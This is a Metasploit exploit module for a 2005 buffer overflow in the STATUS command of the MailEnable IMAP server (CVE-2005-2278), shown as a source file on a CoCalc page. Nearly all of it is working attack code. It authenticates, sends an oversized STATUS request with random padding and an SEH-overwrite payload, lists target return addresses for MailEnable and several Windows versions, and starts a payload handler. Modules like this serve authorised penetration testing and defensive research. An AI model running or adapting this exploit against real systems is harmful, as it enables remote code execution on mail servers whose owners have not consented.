CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mailenable_status.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Imap
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'MailEnable IMAPD (1.54) STATUS Request Buffer Overflow',
15
'Description' => %q{
16
MailEnable's IMAP server contains a buffer overflow
17
vulnerability in the STATUS command. With proper
18
credentials, this could allow for the execution of arbitrary
19
code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
[ 'CVE', '2005-2278'],
26
[ 'OSVDB', '17844'],
27
[ 'BID', '14243'],
28
[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19193'],
29
],
30
'Privileged' => true,
31
'DefaultOptions' =>
32
{
33
'EXITFUNC' => 'thread',
34
},
35
'Payload' =>
36
{
37
'Space' => 450,
38
'BadChars' => "\x00\x0a\x0d\x20",
39
'StackAdjustment' => -3500,
40
},
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
['MailEnable 1.54 Pro Universal', { 'Rets' => [9273, 0x1001c019] }], #MEAISP.DLL
45
['Windows XP Pro SP0/SP1 English', { 'Rets' => [9273, 0x71aa32ad] }],
46
['Windows 2000 Pro English ALL', { 'Rets' => [9273, 0x75022ac4] }],
47
['Windows 2003 Server English', { 'Rets' => [9273, 0x7ffc0638] }],
48
],
49
'DisclosureDate' => '2005-07-13',
50
'DefaultTarget' => 0))
51
end
52
53
def exploit
54
connect_login
55
56
seh = generate_seh_payload(target['Rets'][1])
57
buf = rand_text_alphanumeric(target['Rets'][0])
58
req = "a001 STATUS \".\x00" + buf + seh
59
req << "\" (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)\r\n"
60
sock.put(req)
61
62
handler
63
disconnect
64
end
65
end
66
67